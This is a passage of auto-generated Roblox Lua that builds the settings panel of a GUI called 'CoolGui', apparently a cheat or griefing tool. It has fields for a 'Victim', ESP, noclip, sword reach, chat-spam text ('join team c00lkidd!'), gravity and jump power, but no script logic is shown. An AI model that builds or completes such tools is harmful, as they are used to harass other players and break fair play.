G2L["3e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3e"]["TextSize"] = 48;
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0.5, -3, 0, 40);
G2L["3e"]["Name"] = [[addonr]];
G2L["3e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3e"]["Text"] = [[>]];
G2L["3e"]["Position"] = UDim2.new(0.5, 3, 0, 40);
-- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript
G2L["3f"] = Instance.new("LocalScript", G2L["3e"]);
-- StarterGui.CoolGui.Frame.Settings.addonl
G2L["40"] = Instance.new("TextButton", G2L["3a"]);
G2L["40"]["BorderSizePixel"] = 3;
G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["40"]["TextSize"] = 48;
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["Size"] = UDim2.new(0.5, 0, 0, 40);
G2L["40"]["Name"] = [[addonl]];
G2L["40"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["40"]["Text"] = [[<]];
G2L["40"]["Position"] = UDim2.new(0, 0, 0, 40);
-- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript
G2L["41"] = Instance.new("LocalScript", G2L["40"]);
-- StarterGui.CoolGui.Frame.Settings.Save
G2L["42"] = Instance.new("TextButton", G2L["3a"]);
G2L["42"]["BorderSizePixel"] = 3;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["TextSize"] = 18;
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["ZIndex"] = 3;
G2L["42"]["Size"] = UDim2.new(0, 150, 0, 20);
G2L["42"]["Name"] = [[Save]];
G2L["42"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["42"]["Text"] = [[Save IDs]];
G2L["42"]["Position"] = UDim2.new(0, 0, 0.6, 140);
-- StarterGui.CoolGui.Frame.Settings.Page
G2L["43"] = Instance.new("Frame", G2L["3a"]);
G2L["43"]["ZIndex"] = 2;
G2L["43"]["BorderSizePixel"] = 3;
G2L["43"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["43"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["43"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["43"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["43"]["Name"] = [[Page]];
-- StarterGui.CoolGui.Frame.Settings.Page.PageLabel
G2L["44"] = Instance.new("TextLabel", G2L["43"]);
G2L["44"]["ZIndex"] = 2;
G2L["44"]["BorderSizePixel"] = 3;
G2L["44"]["TextSize"] = 14;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["44"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["44"]["Text"] = [[Page 1]];
G2L["44"]["Name"] = [[PageLabel]];
G2L["44"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2
G2L["45"] = Instance.new("Frame", G2L["43"]);
G2L["45"]["Active"] = true;
G2L["45"]["BorderSizePixel"] = 3;
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["45"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["45"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["45"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.vicid
G2L["46"] = Instance.new("TextBox", G2L["45"]);
G2L["46"]["Name"] = [[vicid]];
G2L["46"]["BorderSizePixel"] = 3;
G2L["46"]["TextSize"] = 14;
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["46"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["46"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["46"]["Text"] = [[Roblox]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.mpid
G2L["47"] = Instance.new("TextBox", G2L["45"]);
G2L["47"]["CursorPosition"] = -1;
G2L["47"]["Name"] = [[mpid]];
G2L["47"]["BorderSizePixel"] = 3;
G2L["47"]["TextSize"] = 14;
G2L["47"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["47"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["47"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["47"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["47"]["Text"] = [[1]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.bgid
G2L["48"] = Instance.new("TextBox", G2L["45"]);
G2L["48"]["Name"] = [[bgid]];
G2L["48"]["BorderSizePixel"] = 3;
G2L["48"]["TextSize"] = 14;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["48"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["48"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["48"]["Text"] = [[c00lkidd]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["49"] = Instance.new("TextLabel", G2L["45"]);
G2L["49"]["BorderSizePixel"] = 3;
G2L["49"]["TextSize"] = 14;
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["49"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["49"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["49"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["49"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["49"]["Text"] = [[Victim]];
G2L["49"]["Name"] = [[Label]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4a"] = Instance.new("TextLabel", G2L["45"]);
G2L["4a"]["BorderSizePixel"] = 3;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4a"]["Text"] = [[Music Pitch]];
G2L["4a"]["Name"] = [[Label]];
G2L["4a"]["Position"] = UDim2.new(0, 0, 0.22449, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4b"] = Instance.new("TextLabel", G2L["45"]);
G2L["4b"]["BorderSizePixel"] = 3;
G2L["4b"]["TextSize"] = 14;
G2L["4b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4b"]["Text"] = [[ESP]];
G2L["4b"]["Name"] = [[Label]];
G2L["4b"]["Position"] = UDim2.new(0, 0, 0.44898, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4c"] = Instance.new("TextLabel", G2L["45"]);
G2L["4c"]["BorderSizePixel"] = 3;
G2L["4c"]["TextSize"] = 14;
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4c"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4c"]["Text"] = [[Billboard Gui Text]];
G2L["4c"]["Name"] = [[Label]];
G2L["4c"]["Position"] = UDim2.new(0, 0, 0.67347, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut
G2L["4d"] = Instance.new("TextButton", G2L["45"]);
G2L["4d"]["BorderSizePixel"] = 3;
G2L["4d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4d"]["Name"] = [[espbut]];
G2L["4d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4d"]["Text"] = [[Off]];
G2L["4d"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript
G2L["4e"] = Instance.new("LocalScript", G2L["4d"]);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1
G2L["4f"] = Instance.new("Frame", G2L["43"]);
G2L["4f"]["Active"] = true;
G2L["4f"]["BorderSizePixel"] = 3;
G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4f"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["4f"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["4f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4f"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["50"] = Instance.new("TextLabel", G2L["4f"]);
G2L["50"]["BorderSizePixel"] = 3;
G2L["50"]["TextSize"] = 14;
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["50"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["50"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["50"]["Text"] = [[Skybox/Decal ID]];
G2L["50"]["Name"] = [[Label]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.sdid
G2L["51"] = Instance.new("TextBox", G2L["4f"]);
G2L["51"]["Name"] = [[sdid]];
G2L["51"]["BorderSizePixel"] = 3;
G2L["51"]["TextSize"] = 14;
G2L["51"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["51"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["51"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["51"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["51"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["51"]["Text"] = [[78829839839537]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.mid
G2L["52"] = Instance.new("TextBox", G2L["4f"]);
G2L["52"]["Name"] = [[mid]];
G2L["52"]["BorderSizePixel"] = 3;
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["52"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["52"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["52"]["Text"] = [[99986264226275]];
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["53"] = Instance.new("TextLabel", G2L["4f"]);
G2L["53"]["BorderSizePixel"] = 3;
G2L["53"]["TextSize"] = 14;
G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["53"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["53"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["53"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["53"]["Text"] = [[Music ID]];
G2L["53"]["Name"] = [[Label]];
G2L["53"]["Position"] = UDim2.new(0, 0, 0.22449, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["54"] = Instance.new("TextLabel", G2L["4f"]);
G2L["54"]["BorderSizePixel"] = 3;
G2L["54"]["TextSize"] = 14;
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["54"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["54"]["Text"] = [[Noclip]];
G2L["54"]["Name"] = [[Label]];
G2L["54"]["Position"] = UDim2.new(0, 0, 0.44898, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut
G2L["55"] = Instance.new("TextButton", G2L["4f"]);
G2L["55"]["BorderSizePixel"] = 3;
G2L["55"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["55"]["TextSize"] = 14;
G2L["55"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["55"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["55"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["55"]["Name"] = [[noclipbut]];
G2L["55"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["55"]["Text"] = [[Off]];
G2L["55"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript
G2L["56"] = Instance.new("LocalScript", G2L["55"]);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["57"] = Instance.new("TextLabel", G2L["4f"]);
G2L["57"]["BorderSizePixel"] = 3;
G2L["57"]["TextSize"] = 14;
G2L["57"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["57"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["57"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["57"]["Text"] = [[Sword Reach]];
G2L["57"]["Name"] = [[Label]];
G2L["57"]["Position"] = UDim2.new(0, 0, 0.67347, 0);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.reid
G2L["58"] = Instance.new("TextBox", G2L["4f"]);
G2L["58"]["Name"] = [[reid]];
G2L["58"]["BorderSizePixel"] = 3;
G2L["58"]["TextSize"] = 14;
G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["58"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["58"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["58"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["58"]["Text"] = [[1337]];
-- StarterGui.CoolGui.Frame.Settings.Load
G2L["59"] = Instance.new("TextButton", G2L["3a"]);
G2L["59"]["BorderSizePixel"] = 3;
G2L["59"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["59"]["TextSize"] = 18;
G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["59"]["ZIndex"] = 3;
G2L["59"]["Size"] = UDim2.new(0, 147, 0, 20);
G2L["59"]["Name"] = [[Load]];
G2L["59"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["59"]["Text"] = [[Load IDs]];
G2L["59"]["Position"] = UDim2.new(0.51, 0, 0.6, 140);
-- StarterGui.CoolGui.Frame.Settings.Page2
G2L["5a"] = Instance.new("Frame", G2L["3a"]);
G2L["5a"]["Visible"] = false;
G2L["5a"]["ZIndex"] = 2;
G2L["5a"]["BorderSizePixel"] = 3;
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["5a"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5a"]["Name"] = [[Page2]];
-- StarterGui.CoolGui.Frame.Settings.Page2.PageLabel
G2L["5b"] = Instance.new("TextLabel", G2L["5a"]);
G2L["5b"]["ZIndex"] = 2;
G2L["5b"]["BorderSizePixel"] = 3;
G2L["5b"]["TextSize"] = 14;
G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5b"]["Text"] = [[Page 2]];
G2L["5b"]["Name"] = [[PageLabel]];
G2L["5b"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2
G2L["5c"] = Instance.new("Frame", G2L["5a"]);
G2L["5c"]["Active"] = true;
G2L["5c"]["BorderSizePixel"] = 3;
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["5c"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5c"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.nameid
G2L["5d"] = Instance.new("TextBox", G2L["5c"]);
G2L["5d"]["Name"] = [[nameid]];
G2L["5d"]["BorderSizePixel"] = 3;
G2L["5d"]["TextSize"] = 14;
G2L["5d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5d"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5d"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["5d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5d"]["Text"] = [[God]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.spamid
G2L["5e"] = Instance.new("TextBox", G2L["5c"]);
G2L["5e"]["Name"] = [[spamid]];
G2L["5e"]["BorderSizePixel"] = 3;
G2L["5e"]["TextSize"] = 14;
G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5e"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5e"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5e"]["Text"] = [[join team c00lkidd!]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.jumpid
G2L["5f"] = Instance.new("TextBox", G2L["5c"]);
G2L["5f"]["Name"] = [[jumpid]];
G2L["5f"]["BorderSizePixel"] = 3;
G2L["5f"]["TextSize"] = 14;
G2L["5f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5f"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5f"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["5f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5f"]["Text"] = [[100]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["60"] = Instance.new("TextLabel", G2L["5c"]);
G2L["60"]["BorderSizePixel"] = 3;
G2L["60"]["TextSize"] = 14;
G2L["60"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["60"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["60"]["Text"] = [[Name]];
G2L["60"]["Name"] = [[Label]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["61"] = Instance.new("TextLabel", G2L["5c"]);
G2L["61"]["BorderSizePixel"] = 3;
G2L["61"]["TextSize"] = 14;
G2L["61"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["61"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["61"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["61"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["61"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["61"]["Text"] = [[Chat Spam Text]];
G2L["61"]["Name"] = [[Label]];
G2L["61"]["Position"] = UDim2.new(0, 0, 0.22449, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["62"] = Instance.new("TextLabel", G2L["5c"]);
G2L["62"]["BorderSizePixel"] = 3;
G2L["62"]["TextSize"] = 14;
G2L["62"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["62"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["62"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["62"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["62"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["62"]["Text"] = [[Gravity Amount]];
G2L["62"]["Name"] = [[Label]];
G2L["62"]["Position"] = UDim2.new(0, 0, 0.44898, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["63"] = Instance.new("TextLabel", G2L["5c"]);
G2L["63"]["BorderSizePixel"] = 3;
G2L["63"]["TextSize"] = 14;
G2L["63"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["63"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["63"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["63"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["63"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["63"]["Text"] = [[JumpPower Amount]];
G2L["63"]["Name"] = [[Label]];
G2L["63"]["Position"] = UDim2.new(0, 0, 0.67347, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.gravid
G2L["64"] = Instance.new("TextBox", G2L["5c"]);
G2L["64"]["Name"] = [[gravid]];
G2L["64"]["BorderSizePixel"] = 3;
G2L["64"]["TextSize"] = 14;
G2L["64"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["64"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["64"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["64"]["Position"] = UDim2.new(0, 0, 0, 165);
G2L["64"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["64"]["Text"] = [[0]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1
G2L["65"] = Instance.new("Frame", G2L["5a"]);
G2L["65"]["Active"] = true;
G2L["65"]["BorderSizePixel"] = 3;
G2L["65"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["65"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["65"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["65"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["65"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["66"] = Instance.new("TextLabel", G2L["65"]);
G2L["66"]["BorderSizePixel"] = 3;
G2L["66"]["TextSize"] = 14;
G2L["66"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["66"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["66"]["Text"] = [[Billboard Gui Color]];
G2L["66"]["Name"] = [[Label]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.are
G2L["67"] = Instance.new("TextBox", G2L["65"]);
G2L["67"]["Name"] = [[are]];
G2L["67"]["BorderSizePixel"] = 3;
G2L["67"]["TextSize"] = 14;
G2L["67"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["67"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["67"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["67"]["Size"] = UDim2.new(0.333, 0, 0, 30);
G2L["67"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["67"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["67"]["Text"] = [[0]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.animid
G2L["68"] = Instance.new("TextBox", G2L["65"]);
G2L["68"]["Name"] = [[animid]];
G2L["68"]["BorderSizePixel"] = 3;
G2L["68"]["TextSize"] = 14;
G2L["68"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["68"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["68"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["68"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["68"]["Text"] = [[161099825]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["69"] = Instance.new("TextLabel", G2L["65"]);
G2L["69"]["BorderSizePixel"] = 3;
G2L["69"]["TextSize"] = 14;
G2L["69"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
